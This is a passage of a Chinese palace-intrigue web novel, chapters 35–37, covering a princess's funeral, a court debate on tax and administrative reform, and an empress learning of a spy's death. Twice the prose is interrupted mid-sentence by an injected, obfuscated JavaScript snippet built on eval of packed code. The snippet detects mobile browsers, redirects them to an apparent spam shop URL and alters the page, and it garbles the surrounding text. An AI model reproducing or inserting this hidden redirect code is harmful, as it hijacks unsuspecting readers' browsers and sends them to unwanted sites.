“真情假意的,总有几分,谁知道呢。”林绵懒得多思忖,屏退了一众宫人自去用膳歇息,招呼着樱桃一同坐下吃了起来。如今她对现状知足常乐,冷眼看了这么些年,倒觉得端木玄与师冉月之间最是无情却最是知己。二人似乎互相拿住了什么把柄似的达成了一众默契叫旁人无法看穿,却也因此关系稳固,似是有条丝线牵着,若有若无,却也千丝万缕无法断绝。至于是不是年少看的戏里头那天崩地裂的肝肠寸断的又或是梨花带雨朝朝暮暮的“男女之情”倒是没有多大关系了。 “今日这肘子好吃,比上次做的好,一会儿给皇后娘娘也送去尝尝。” “可是陛下万一去了皇后娘娘那里......” “不会,他如今肯定是在云怡阁呢。今日这山药羹做的也好吃,我叫他们把红糖换成了冰糖,果真不错。” 残月高悬,云怡阁外空空荡荡的没有什么草木,只一座高台可观云赏月。素日里大皇子也帮令成公主也在上面搭了些竹架子,放置谷米和水,引得鸟雀驻足。 徐聆雨一袭淡玫红舞裙如同婷婷盛开的睡莲,于高台上沐着月光。纱帛轻旋着,袅袅落在端木玄掌心。一曲终了,她欠身落座在端木玄身旁,额头上些许薄汗被身旁人拿丝帕拭去,肩上也多了件御寒的玄色披风。原是一番旖旎景色,她却如同吸干了汁水又被泡在温水中强行绽开的花儿显得单薄褶皱。避开端木玄的视线依偎在他怀中,轻轻开口:“陛下怎么舍得来云怡阁了?” “入宫的新人都不晓得存了什么心思,朕懒得去应付。” “是么......妾以为陛下会喜欢新鲜颜色,忘了妾。”双臂拢住端木玄的肩,宽大的袖子顺势滑落,露出细腻白皙如江南春草与潺潺溪流般的小臂,轻轻蹭着他的侧颈。 夏风习习穿堂而过,带来弥留回返的一室春光。 转眼已是立秋。 秋虫逐渐喧嚣,常常闹得人夜里不得安眠,然而更恼人的是秋老虎,闷得人不敢动作,唯恐稍稍一动便要汗湿一身衣服。师家的厨房照端木萌的吩咐已经变着法儿吃了三天苦瓜,美其名曰清热去火,害的孩子们有苦难言。 师霖卷着袖子落笔了最后一个字,终于松了口气,待墨阴干的片刻又从头读了一遍,未发现什么错漏,才交给值守的小黄门将奏疏递上去。他虽聪慧,但少年时不思进取,只好风流之事,顶多肯在诗词歌赋上下下功夫,经史子集兵书政要一概抛之脑后,直到回了逢州才慢慢捡了起来。待到流放西南那些时候,更是恨不得挑灯夜读,举着个土法做的煤油灯也要多看几眼书,被兄长嘲弄“吃苦才肯奋进,似是喜好受虐”,不过倒也真学出了些名堂来。 如今重回京城,几年光景却是地覆天翻,他不再是那个可以到处放肆玩乐闯祸有人兜底的侯府三公子,而成了要挑起全家重任的一家之主。写好了奏疏也没有兄长可代为察看,只好自己多加斟酌。 他慨叹一声,起身活动活动筋骨准备还家,半只脚都已经要迈出门槛,却被迎面急匆匆奔进来的礼部承制霍初一把拦住:“大人莫走莫走!闽中郡王妃薨了!” 35. 第 35 章 官成澈升任礼部侍郎后的第一桩政绩来自于为妹妹治丧。 兄长官成潜可以名正言顺地伴着妹妹走完最后一程,官成澈却要穿着官服依着礼制,捧着礼章眉目恭谨,末了再按章程向端木玄与端木阳上表汇报。闽中郡王妃官氏的丧仪恭肃雍容,几乎无一丝差错,宗族称颂,官成澈却在丧仪后告假五日,后竟上书请求外放,却被端木玄驳回,只教他再在家中休息些时日。 “他们兄妹自小一同长大,和言又是不受拘束的性子,不似是许多官宦人家的姑娘只呆在闺阁中,反而是大多数时候跟着兄长们,情谊自然不比寻常。”萧晨靠在榻上,脸色半黄半白有些难看,但精神还算可以,闻得官和言去世的消息只觉惋惜非常,又不免数道:“观文公主、吟月、子成、子恕、元宗与昭顷皇后,再到和言,还有先前战死在沙场上的、被赐死的,都不过是二三十岁的光景便英年早逝。我如今大概也没有多少日子了,从前少年时常惧怕衰老和死亡,如今却未老先衰了。” 张雁将汤药端到萧晨嘴边,沉默着示意她喝下去好堵上她的嘴。萧晨失笑,接过碗一饮而尽,咳了两声,用帕子掩着嘴道:“你如今倒是厉害了,虽也不爱说话,但已经能威胁起我来了。”又拉过她的手道:“你这身医术虽不比外头常年行医的大夫,但治些寻常小病已经是手到擒来了,若能有机会精进,倒是可以到外面开个医馆行医问诊,才不算白瞎了。” 张雁垂着眼睛道:“我也只敢给信得过我的人治。何况家中这么多事,哪里有功夫去做别的呢?”她说话的声音不小,却总是像春日里初生的极嫩极嫩的柳梢试着弄起涟漪般有些吃力的模样,少时被急性子的同伴开玩笑般骂过一次,便更不爱说话。她自从萧晨病了,坚持着帮她煎药熬药,每天盯着她把药喝完,偶尔在一旁坐着听其余三个妯娌说说话,就说要去帮岳太夫人做事,静悄悄地走开了。 “镜妤近日也还是不大愿意出屋,再这么下去不只是她,我瞧着三个孩子都要跟着她闷坏了。”端木萌看着张雁走了,忍不住叹气。她自小不懂得如何与这样的闷葫芦性子相处,所以姐妹几个里与观文公主端木荷最为疏远,而喜欢缠着伶俐聪颖的和缨。端木婉如今的性子也叫她觉得憋闷烦躁。当初端木婉刚嫁进来有些怕生,但很快与大家熟络起来后除了温柔大方善解人意,也露出来些活泼顽皮来。然则自从师穆骤然去世,她倒像是又把自己缩回了原先的壳子,甚至平添了几分清冷疏离,倒有些像岳诗韫了。 “我原本以为她与二哥从前素未谋面而被赐婚,应该就是相敬如宾的寻常夫妻,没有多少情谊,谁料二哥去世竟会对她打击至此。” “我却觉得镜妤如此,并没有几分是因为子恕去世的缘故。”萧晨沉吟道,“兴许她一开始也觉得身世浮沉不由己身,但她却是少有的内心坚毅稳固的女子,不会因此就丧失了生活的期望和乐趣。恰好咱们家又是好人家,便因此慢慢敞开了心扉。然而前些年咱们家波折不断,直到子恕也遭祸,才叫她觉得......” “觉得什么?” “皇权难测,人心多变,都不可信,不如只信自己。”而因此,便也决意免去了“无用的”应酬往来,自己过自己的日子去了。 萧晨说这话时多有停顿,神情却未曾变。端木萌听后却哽住,一时不知作何言语。两人彼此沉默着各自思量,萧晨榻前浓重不散的药味压去了端木萌衣裳上的熏香,苦涩一丝一缕勾住人的鼻息。 “怎么都只坐着不说话?” 二人双双抬头,却见是师霖走了进来,脸上笑意舒爽。 萧晨应声笑开:“好几日不见侯爷,如今在哪儿高就了?” “大嫂莫要拿我打趣了。”师霖随手搬了个凳子在端木萌身旁并排坐下,道:“前些日子是忙着闽中郡王妃丧仪的事,有些抽不开身。这事本不该我管,奈何小六记挂着,特意下了懿旨来叫我去礼部协助官侍郎,我也自当尽心尽力。” “这是应当的。”萧晨点头,“就算小六没有另外下旨,我们与官氏是世交,也该帮衬,只是不在朝堂之上罢了。郡王府内与官氏府上镜妤和云姝都照看到了,前朝的事如何拿捏,便是你们兄弟二人的事了。” 端木萌道:“亲眷之间都好说,我如今做这些已是得心应手了。何况和言与我也是旧交......只是听说待和言孝期一过,闽中郡王就要把宋滢扶正了——虽无情无义些,但也不有违律法,我们到底是外人,也不好多说什么,只是怕苦了和言的两个孩子。” 师霖道:“王府嫡子,难道还有人敢慢待?” 端木萌不屑地白了他一眼,扭过头去。 萧晨无奈笑笑,拍了拍他二人的手道:“这有什么可置气的。旁人的心性我们无法左右,该尽的情谊尽到了便是。”又转而看向师霖道:“今上如今看重你,与你高官又给你实权,你当如何?” “自当在其位谋其政,为国为民做出来些政绩......若是世道使然实在束手无策,我只能先保全师家要紧。” 萧晨轻叹:“君子当忠君爱国......现在的世道就如同一棵枝干已经腐蚀空心的树,但还没有到轰然倒塌的地步。你既然手握职权,拣几根树枝支撑支撑也是好的,总不能就放任自流了。” 师霖颔首道:“我前些日子才上了奏疏,向今上列举此间弊病,这些天因为闽中郡王妃治丧一事暂且搁置了,不过明日便会请朝臣廷议。我以为,今日之弊,一则为官者尸位素餐,好宴饮而懒实干,以应酬结交不断、门客姻亲繁多为荣,不思朝政之事。若有军国大事则只知道遵循旧例,互相推诿,应付了事;二则言路阻塞,谏官与言官职权混杂,互相侵占又互相推诿,上书每每只说些鸡毛蒜皮无关痛痒的小事,甚至如长舌妇一般盯着旁人私事私德不放,聚而攻奸乐此不疲;三则地方分权与税收救济层层盘剥等事,从前也议过多次,尚且还未想出妥善的法子;四则国库空虚、财政运转停滞,如今东南沿海市舶司与北边互市都在推进,地方间商路往来的诏令也已经颁布下去了,只待过上一段时间看看成效;五则宗教道义混乱,没有正统。前朝每每君主以身作则,无论是推崇黄老之学还是儒学,皆上行下效上下一统,虽不排异教兼容并蓄,但终归有个大统,人心便不会乱。我朝早年间推崇文士风流,虽内里还是儒家的东西,却也远远比不得前朝正统纲施。这些年天灾人祸,百姓愚昧,仰赖神佛,甚至崇拜邪教,风气不正,必然也需整治。不过若想整改此事,必得政令严苛,或是有一位能叫天下信服的饱学之士重正大统才得以推行下去。” “文士风流不好吗?”几个孩子不知何时回来的,皆在一旁静静听着,而师焕突然出声发问道:“先生说儒学重农抑商,放在几百年前农学兴盛而物资不丰时合适,放在如今则会抑制商贾,减少税收。” 一旁站着的师婷欢接着道:“文士风流,主张遵从己心,崇尚繁华盛景,是以不抑商而兴商,钱财才能流动,银钱才有用武之地,国库也会充盈,百姓也会富足。” 师焕却驳道:“若是不对商人加以限制,则无法约束流民,自户籍、田制、通行、路驿、税收,方方面面都得跟得上商业发展,否则难免社会动荡不安。” 萧晨笑了笑,摸了摸师玘的头,看着师霖道:“事关天下大义,有志之士自会争论不休。朝中固然有些人已经麻木,然而如今科举恢复,总会有一腔热血的青年才俊踏入政局,或许他们会有些新的点子。抛去这些不看,子持,你莫要忘了你如今有机会站在这个位子上背后是谁。其实你所言的弊病,恰恰根源于这些人——包括我们。尽管这会被自诩清流之人不耻,但这就是事实,千百年来亦都是如此,不独一朝一家。若是能改,于国于民自然是好事;若是不能,你将会众叛亲离,连百姓也不会理解你,后人更只会批判你,你可要想好。” 师霖低头避去萧晨的眼神,指尖微微发白,摩挲着膝上的绸缎。 端木萌看了看他二人,转身揽过孩子们道:“好啦好啦,你们直说得我头晕。现在的先生怎么什么都教,小小年纪一个个像个小学究似的——迟哥儿他们几个又去哪儿了?” “二弟、四弟和五弟去苍云江边捉蚂蚱了。三妹妹也去了。” 苍云江就在京郊,出了外城不过五里就能看见江浪翻涌,原先一直是京城的护城河。后来在京城外城墙下挖了宁通渠,自江中引水入渠作新的护城河,江边才渐渐沉寂下来,只余一两个小村落和道观庙宇。不过京城中人清明祭祖踏青,或远足出游仍会在苍云江旁,京畿之人入城采买等也会在此处歇脚。 端木萌闻言微微愣神,旋即又很快对着孩子们笑道:“怪不得没见着他们几个来闹腾。六姐儿呢?” “六妹妹害怕蚂蚱,自己回去摆弄表姐送她的陶埙了。” 师霖抬眼,已经不见方才的阴郁黯然,似是雨后天刚放晴,空气里的潮湿和泥土的腥气尚未散去,遍地混在泥水里的花瓣沾满了雨水,在阳光下笑得惨败而浓烈。“还是年少好啊,做什么都好。” 秋意阑珊,近来的雨驱散了流连的暑气,换上彻夜的寒凉。 萧晨用帕子掩着面低声咳着,眉眼间满是倦意,然而用绿松石抹额拢好的发际不见一缕碎发,肃穆齐整。师焕担心地扶住她的肩,她却拍了拍他的手道:“好孩子,快回去读书罢。云姝,子持......我有些累了,带孩子们先走吧。” “大伯母好好歇息。” “皇后娘娘万安。” 师冉月抬眸,扯唇道:“是吴才人和俞才人啊,木莲,给两位才人赐座看茶。” 连着十几日,端木玄不是直接歇在清和殿,就是去了徐聆雨的云怡阁,竟是还一次未曾去过新人阁中。宫中不是没有议论的,有命妇入宫拜见皇后时也曾拐着弯向师冉月打听,只是都没有结果——师冉月是真心不知道端木玄是怎么想的,更懒得研究。如今她倒是怕遇上这些才人们,以免再被问询同样的问题,只是找到坤宁殿来的她也没有理由推拒。 德保搬来凳子,木莲和春桃上了茶来。师冉月只不动声色地静坐着,似笑非笑地看着二人也不言语。却是俞安乐坐下喝了一口茶后率先笑道:“怪不得妾前些日子自坤宁殿回去后就觉得少了点什么,原来是娘娘殿里的茶太好喝了,叫人流连忘返。” “一盏茶而已,你若喜欢,我叫人将配方抄到纸上送到你阁中就是了。” 吴秐轻笑道:“茶只是个借口罢了,其实是我们两个想来与娘娘说说话。”她的相貌倒不及她二哥探花吴稳叫人惊艳,却是如春日里的丝丝云彩,清朗柔和,看着舒心。 吴家父辈去世的早,兄妹几人由母亲和外祖抚养长大,年少时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘不知,暮雨姓萧,是春月楼前阵子新任的舞姬,虽不是头牌,但因为舞技实在绝妙,更胜似头牌。有人更是将她与许多年前的晓残月相比,说是‘歌当残月,舞必暮雨’。‘曲玉管’就是她拿手的曲目之一,旁人都跳不来她的轻柔娉婷。她还擅舞剑与水袖,在京城这些年名噪一时的舞姬中可称绝妙了......妾也是没入宫前道听途说来的,说给娘娘听个乐,娘娘勿怪。”吴秐解释道。 师冉月笑笑:“无妨,本宫当年亦曾扮作男装随兄长们到春月楼听晓残月唱曲。只是俞才人,既入了宫,一言一行都当小心谨慎,你如今是宫中贵人,一举一动都是皇家的颜面,出了本宫这坤宁殿便莫要与舞女姐妹相称了。” 俞安乐才惊觉自己说错了话,讪讪笑道:“妾在家中口无遮拦惯了,见娘娘亲切,一时说错了话,请娘娘责罚。” “罢了。不过你既善舞,这倒是与众不同。本宫身边之人也就徐昭仪会跳一两个曲目,改日若是大家聚在一起,你可愿叫我们开开眼?” “妾当然愿意!”俞安乐两眼放光,像是毛茸茸的小兽得到了什么许诺一般,满身柔软的绒毛都发着暖烘烘的气息,像是被阳光眷宠。师冉月看着她两颊尚有些肉的面孔,眉眼也忍不住放松带笑,心下却默默盘算起来。 吴秐也瞧着俞安乐笑道:“我旁的不大行,却还懂一点琴,可为俞妹妹伴奏。” 三人又说了会儿话,眼看着天色暗了下来,吴秐便提出告辞。俞安乐倒是望着师冉月依依不舍,“妾进宫这些日子也不敢随处乱走,呆在自己阁中不是睡就是吃,简直要长蘑菇了。” 将二人送出坤宁殿,音儿回到师冉月身边道:“两位才人还像是小孩子呢。” “是啊,都才十五六岁的光景。婷欢如今都十一岁了,若是大哥大嫂早几年给我生个侄女,想必也是她们这个年岁了。我十五六岁时还住在京城呢,祖母、父母还有姐姐也都还在,那时候我也与她们差不太多吧?” “姑娘那时比俞才人还古灵精怪的,成日里跟着公子们上蹿下跳了。夫人那时候说,幸亏姑娘是个女子,若是托生成男子,估计这京城里每一个墙头都要被姑娘翻遍了。” “怎会?”师冉月坐到饭桌前,看着桌上的梅干小排和鲫鱼汤满意地点了点头,又道:“将我那蜜茶配好了给静姝阁和令仪阁都送去些罢。” 音儿称是,却又忍不住道:“娘娘,只给这两阁送去会不会不大好?” 师冉月思忖一瞬,道:“一点茶而已,也不是什么名贵的东西。往后这样的日子还多着呢,总不能什么都给所有人送去一份,端水端得累不说,有人还不领情。” 音儿点头,又道:“乐念阁的蒋才人前些日子也来给娘娘请安了,娘娘可要给她阁中送去什么?”蒋纹是慕州太守蒋令德的女儿,从前在慕州也见过师冉月,她母亲沈夫人是个和善人,与师冉月也说过几回话,算不上亲密,但也不陌生,是以她随着众人一同请安的次日又单独来坤宁殿请安,送上了些慕州特产的小物件。“明日我要做山药桂花糕,做好了给她送去一份就是了。你亲自送去,带着春桃和德保,莫要假手他人。日后但凡是入口的东西,只要和坤宁殿有关的,你都要亲自过一遍。” “明白。” 36. 第 36 章 “师太傅与陈尚书奏疏所言之事,卿等讨论得如何了?” 师霖上书陈述当朝之弊病后,户部尚书陈科也就税法与户籍一事上了一封奏疏,端木玄看过之后一并交由翰林院抄录下来给朝臣传阅,请朝臣共议,然则议了五日也没有个所以然。每到了廷议时,众人除了出声附和,就只有一二人补充些细节,到了中书众人商议时更是没个进展。端木玄这般问出口,底下自是鸦雀无言。他却早有预料般笑了笑,道:“朕这儿有两封今年新科状元白束道和进士落桓送到京城来的奏疏,你们看看罢。” 师霖上前接过,展开与身旁的吴称大致看了一遍,又递给一旁的户部尚书陈科、礼部尚书安谈和等人。待众人都看过一遍后,安谈和道:“陛下,老臣以为——白、落二人所言不可取。” 听安谈和如此直白否定,端木玄挑眉道:“为何?” “白束道通判梁州、落桓通判庆阳,两地皆是中原富庶之地,土地丰饶,近些年都没有天灾,收成好,亦少有民乱,不近海亦不是边疆,没有外族侵扰,因此看上去减税、分税等事按二人之论证皆为可取之法。然则天下不止此二郡,岂不说天时地利,便是人和即不是能够预测掌握之事,岂会如他们所言那般简单。” 陈科亦道:“想来二人年轻,且刚入仕途,自然想求得一番功绩。想法是好的,然而却论证不全,急功近利了。” 孙式道:“陛下,臣以为,一国之治在于制与人。同样的祖宗家法、当年太祖钦定的律例,在国朝之初能使百姓修养安乐,九州恢复元气,而今未曾更改,想必更多还是人的缘故。直接修改税法,牵扯之事太多太杂,不如还是先严加考核上下内外的大小官员,整顿贪污受贿私相授受之风。” 吏部侍郎付储道:“臣以为孙尚书所言差矣。若是法令施行之初能有成效后续便不需更改,那我们如今何不效先祖千耦其耘,或是干脆如神农氏、燧人氏时所谓大同社会之法令法度,而历朝历代皆要改之?我朝开国至今,业已近三百年,前朝不过二百年的功夫,照时间来看,也该是变法的时候了。” 孙式嗤笑:“付侍郎莫不是以为法令律例如入口之食,存放久了便要腐烂变质?那付侍郎以为法令律例能保质多久,二百年,还是三百年?” 付储也不向他辩驳,只朝着端木玄道:“陛下,法随时变,不在于祖宗宗庙,此事历朝历代几乎都有争论,自有千古学士比臣学识、口才与文采皆高上百倍替臣来论证。便说商鞅变法,废分封行郡县,废世卿世禄而行军功爵制,什伍连坐,这些法令,早五十年不成,晚五十年无用。便说废井田、推行铁犁牛耕这一条,商鞅以前,铁器之铸造何其艰难,少有的锻造出来的铁器也都造成兵器用于征战,而青铜笨重易腐蚀,不宜锻造农具,没有铁犁自然无法推行铁犁牛耕。而商鞅当政时,人力荣兴,铜铁冶炼之术亦有提高,铁器大量锻造冶炼,得以用于农作,自然可以推行铁犁牛耕。有了铁犁牛耕,仅凭小户人家便足以完成劳作自给自足,无需千耦其耘共同劳作,自然可以拆父子兄弟同住,改革户籍。这正是臣所言法随时变。” 安谈和道:“付侍郎所言法随时变自然不错,然而如今变更何处,要如何变又当如何?祖宗之法有祖宗之法的道理,就算如今真如付侍郎所说该行变革,陛下颁行新法,百姓一时又能否接受?自古百姓安则天下安,新法若是出了错漏,引起民乱骚动,改了还不如不改。” 工部侍郎宋亭道:“安大人也说了,百姓安则天下安,然而请安大人移步宫外,看看京城城墙下的流民与饿殍,看看驿道上饿死冻死的无名尸首,看看那些因为交不上苛捐杂税被逼无奈隐姓埋名流落异乡之人,他们难道不是百姓吗?百姓当真安居乐业便罢,可如今百姓并不能安定,各地常有起义,连通畅商路都需要先镇压民乱,既如此,哪怕改了出什么错漏,也不会差到哪去,总比现在空等着乱葬岗的尸首越来越多为妙。” 中书舍人荆预道:“宋侍郎莫要急躁,安大人又没说要空等着,只是说变法不一定便都是好的。何况宋侍郎此番替百姓慷慨陈词,却也没说出个到底如何变法的一二不是?” 沈案之上前一步道:“陛下,臣以为,不如先选几个州郡试行新法。” 端木玄听过前面一番争论,已是头脑发涨,只觉得有人拿烧红的铁在他脑子里搅,又想努力听听是否有有用的言论,疲惫得不行,只不停喝着茶以免急躁恼怒当场发火。闻得沈案之此语,恰似清风入耳,终于抬眸道:“沈卿之意是先选取几个州郡改后的税法,若是可行再推行至全国?” “是。也不光白、落二人所言税法,其他方面诸如考绩、田制、商法等等,均可如此施行。选取的州郡自然不能只是富庶安定的地区,也该选取土地贫乏者、天灾如地震飓风等多发之地、边疆蛮族聚居之地等,都选作案例,试着推行几年,当中有不妥的及时调整,或许能规避安大人担忧之事。” 官成潜道:“沈学士所言有理,但假使如此试行新法后,可以应对天地之灾、外族之变,然而若是我朝地方官员施行法令时自上而下谋取利益,榨取民脂民膏,那新法旧法便也没有什么区别了。臣以为如今也将年末,不如自明年年初起重开大计、京察,地方官员六品以上皆要述职,四品以上到京述职。京中监察司与吏部一同派人到地方察看虚实,提拔优秀实干之人,罢黜或贬迁贪污受贿、尸位素餐之蠹虫,如此整治一番才好再推行新法,以便法令能够切实有效实施下去,叫百姓受利。至于空缺的官位,如今在京中翰林或是太学任闲职的新科进士数不胜数,自可裁撤冗官,叫这些人去往能用武之地。” 师霖一直微微垂着头听众人争辩,闻得官成潜所言,抬眸瞥了他一眼,却又很快收回眼神,只作寻常。 端木玄四下看了一看,道:“朕以为官学士所言有理,也不必等到明年了,今年腊月此事便要落定——下个月监察司便着人先到各地方探查,年前朕要看到地方所有五品及以上官员述职奏疏,吏部也要给朕一个考核评查的结果,无功受禄之人便不需留在位子上过年了。孙大人,刑部也当跟进此事。若是没什么能耐的或贬或迁也就罢了,若是查出些贪官脏吏自当依法处置,现有律例中有不妥当的,自当斟酌量刑或是增补修改国朝律例。至于沈学士所言,便请诸位共同协商该选哪些州郡,最后由沈学士敲定汇总给朕。” “臣等领旨。” 而后众人各自散去,唯有师霖被端木玄留下。待中殿内只剩君臣二人,端木玄才道:“子持,你似是有话未说出口。” 师霖欠身:“臣对陛下旨意没有异议。” “如今只你我二人,直言便是。”端木玄放松了腰身,轻轻靠在椅背上,神态松弛下来,然而深邃的眉眼仍似镌刻在石壁上的金文锋利威严。 师霖望向他,思忖着开口道:“臣只有一事想提醒陛下,古往今来,能覆灭一个王朝的不只是起义的贫民,还有手握兵权众人拥戴的权臣。换言之,若是君王不能大权在握,又要剥夺臣属既得之利益,他们兴许便会转而叫另一个人黄袍加身。魏征言‘水能载舟亦能覆舟’,可离您最近的水并不是百姓,而是在您之下而在百姓之上的这些人。” 端木玄却闭目不语。良久,方缓缓吐出几个字:“朕知道了,多谢太傅。” 天气渐冷,师冉月便也懒得出门,只叫人将炭火烧旺,领着端木玦和一众侍从们在坤宁殿中时不时找些乐子。又或者有人不畏冷风冷雨前来请安拜见,譬如俞安乐等,就寒暄一二解闷,或是一起围炉煮茶做做糕点之类,也不算太无聊。 不过偶尔坤宁殿也会迎来某些意想不到的人,譬如——“烟水?你怎么来了。” “属下拜见皇后娘娘。”她如今明面上是清和殿掌事宫女,但仍领着影卫的任务,对端木玄和师冉月等开口时仍自称“属下”。不过自从入了宫后,她便不再是那一身墨色束袖装束,而是换了深紫色和藏蓝色的寻常掌事装束,头发也梳作发髻,不过只戴了两根款式及其简单的银钗,燕尾的式样仿佛两把钢刀泛着疏离的光,纵然坤宁殿炭火旺盛也捂不暖那两把钗似的。 武宗的时候清和殿的掌事宫女都要选容貌昳丽身姿婀娜的,过不了一段时间不是被纳作妃嫔就是犯了什么错被打出宫去了。元宗时清和殿只有掌事太监而没有掌事宫女。至于怀宗的时候则是他的奶娘,虽是史自兴选出来照顾元宗的,但那却是个和善宽容有些懦弱的妇人。是以左右算下来,烟水可谓是国朝头一个不近人情不露笑脸,甚至连人影偶尔都见不着的清和殿掌事宫女了。从前这个位子多是旁人探听君主喜好旨意的口子,烟水却似是一道千年寒铁铸就的门,直愣愣横在了端木玄与那些想要打听这位自慕州拥兵而来的年轻君王的人之中,不说别的,的确是平白教端木玄少了不少罗乱。 自从师冉月不再主动到清和殿去,算起来她倒是已经有好几个月没见着过烟水了。端木玄若是请她过去,或是要到坤宁殿来,顶多是派近黛传话,或者只是某个小宫女前来。师冉月于是微笑着请她起身,叫啼樱和吴怀安带着一众侍从领着端木玦去偏殿玩,若是时辰晚了便哄他休息,又叫春桃来给烟水上茶。 烟水接过茶来喝了一口,向师冉月道谢,便将茶盏又放回春桃弯腰高举着的托盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226151|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。春桃欠身退去,轻声阖上了殿门。诺大的宫殿中除了她们二人,便只剩音儿与合月一左一右立在师冉月身侧。 火盆中的木炭不时从黑铁的缝隙里炸出细微的火花,发出微弱的“哔”“剥”声。案上的烛灯不知怎么灭了一盏,周围顿时暗了些许,那火花也似是鬼火般变得幽幽然。 “昨夜寒峦中毒死了,请您节哀。” 师冉月嘴角尚留着笑意,如同撕碎的花瓣残缺蜿蜒的伤口腐烂在双颊。她对上烟水仍旧一潭死水般没有波澜的眸子,只觉得喉咙已经不是自己的一般嗫嚅道:“......怎么会?” 音儿赶忙拽了拽合月的衣袖,示意她随自己回避。合月还沉浸在寒峦的死讯中,被音儿半扯半推着出了殿,冷风激面,才有了些反应。她自师冉月嫁给端木玄后一直随着师冉月处理后院各项事务,偶尔受端木玄指示随着师冉月出入慕州各家后院时探查些消息,几乎脱离了从前刀尖舔血的只能如“影子”般活着的日子,竟一时忘了,虽然在宫中时也会穿着新鲜颜色的宫装的寒峦和近黛这些人仍旧随时性命不保。 殿内一片死寂,木炭燃烧的味道桎梏住了师冉月的呼吸。 烟水似是没有听见她的询问,只从袖中取出一封卷成一指粗细的信来轻轻放在师冉月面前的案上,道:“这是寒峦留下的商公子写给您的信。陛下还没看过。” 师冉月浑身僵硬,手指伸出又缩回,紧盯着烟水,双唇颤抖着却说不出话来。烟水似是明白了她的意思,道:“寒峦的死只是刺探消息时被人撞破后为了不暴露而服毒自杀,在影卫中是常事。从前寒峦与您的事陛下都知道,但您与商公子见面时具体说了什么、做了什么陛下一概不知。” “是不知......还是不愿知道?” 烟水不言。 师冉月咽了口唾沫,又道:“商信的事,他到底知道多少,从何时知道的?” “陛下起初也并不知道,后来影卫截到了您给商公子的信。” “什么时候?” “承祐八年。” “所以他知道端木凛仍然活着,知道他与我通信,知道前几年他也在慕州?” “是。他也知道您在度州与他见面一事。” 师冉月眼中突然涌出窒息般的血色,像是被人扔进地狱又揪着衣领拽了出来。她前倾着身盯着烟水,脑中空白一片,却沙哑着问道:“他为何没杀了他?” 烟水有些愣神,某一瞬她错以为面前的人是端木玄,才会对上那样毒蛇般的眸子。她略一恍神,再探寻着看过去,却已找不到方才让她惊愣的神色。 “属下不知。” 师冉月转首不再看她,伸手端起案上已经放凉的茶喝了几口,嗓音恢复了些,又道:“当年的事陛下都知道多少?” “您知道多少,陛下就知道多少。” 师冉月缓缓把茶盏放回原处,收回手却蓦然惊醒般颤了颤,眼睛起了迷茫一片的白雾。她好似突然明白端木玄的某些“反常”,发现他似是把自己锁在了一座木屋里,屋外的人人手中都拿着火把,他却置若罔闻地继续着自己的事情。她原本该是在这屋外的,承祐八年时她就拿到了最大的那支火把,看戏般自得又满不在乎,可如今她却也被他拉到这屋子里来了。 甚至,兴许,这该算作是她自己走进来的。 烟水的话像雾气般缠绕着游荡过师冉月的耳边:“只要没有碍着陛下的路,他便不会在乎。” 师冉月黯然垂眸,想了想,又道:“端木凛还活着也就罢了,但那件事不能不在乎罢?” 烟水沉默。 师冉月嘲弄一笑,再看过来的眼神似乎与王府地牢里那些被烟水亲手了结的疯子般的亡命之徒被杀前的双眼重合了。“他知道我知道吗?” “知道。”烟水顶着那目光,漆黑的眸子像是无垠的苍穹,莫名托起了师冉月混乱跳动的思绪。 师冉月抬手理了理额前汗湿的有些凌乱了的碎发,举手间眼神已经恢复平静。她仍旧想不清楚端木玄为何容忍了她与端木凛这些年互通有无,哪怕是在成亲后——但兴许这正是他拿捏她的筹码之一,于是早在他们最初相见时,在师霖与端木萌成亲那日的茶楼里,师家还没有到逢州时进退两难的地步时,他与她的交易却在冥冥中已经开始。 因为是交易,所以有些事情便也不必太在意。 “如今活在这世上的,知道的都有谁?” “陛下,您,我,还有商公子。” “他就不怕,我将此事告诉我哥哥——告诉天下人?” “那是您的自由。” 37. 第 37 章 音儿守在偏殿窗前,盯着正殿里烛光下几乎静止的两个模糊的人影,心脏担忧地揪紧。啼樱轻声推门进来,脚步似落雪般放轻,“合月姐姐还好么?我刚刚路过她房前听见里面有声响,却没有点灯。” 音儿摇了摇头,气音问道:“小殿下睡了吗?” “已经睡下了,姐姐放心......娘娘那边——” “无碍,你也去歇息罢,过会儿我侍奉娘娘歇息。”她默默站在窗边,一动不动像尊铜像,直到看见那两个人影中的一个起身、行礼、转身离开,殿门打开又阖上,烟水藏蓝色的衣角微微掀起,将正殿中的暖流遗留在身后。音儿这才匆匆走向正殿,披风拥进半身凉气,掀得炭笼里本已有些偃旗息鼓的火苗跳得殷勤了一瞬。 师冉月独自一人坐在椅子上,芰荷绿的衣衫裹住她的身躯,显得无比单薄瘦弱。音儿走到她身前,她缓缓抬头,将手中展开的寒峦留下来的端木凛的信递给音儿。 音儿双手接过,眼神问询。 师冉月叹气,起身活动活动腰肢,道:“一并放到那个匣子里吧。” “商公子......” “他在绛县安定下来了,买了一处院子,不再云游了。”师冉月神色淡然,似乎只是说起随意一位旧友。 她来回慢慢踱步,像是在对着音儿说话,又似是自言自语:“方才烟水还未走的时候,有一瞬我想冲到清和殿去问问他,他到底想做什么,要做什么,又希望我做什么,或者说,我做着他的皇后,该做些什么。或者不去清和殿,到宫外去,回家,或是......去找端木凛,总之不要呆在这殿里了。可是你一进来,我突然想起明日是该嫔妃请安的日子了,我该早些歇下,明日早早起来收拾好自己,好做个皇后。” 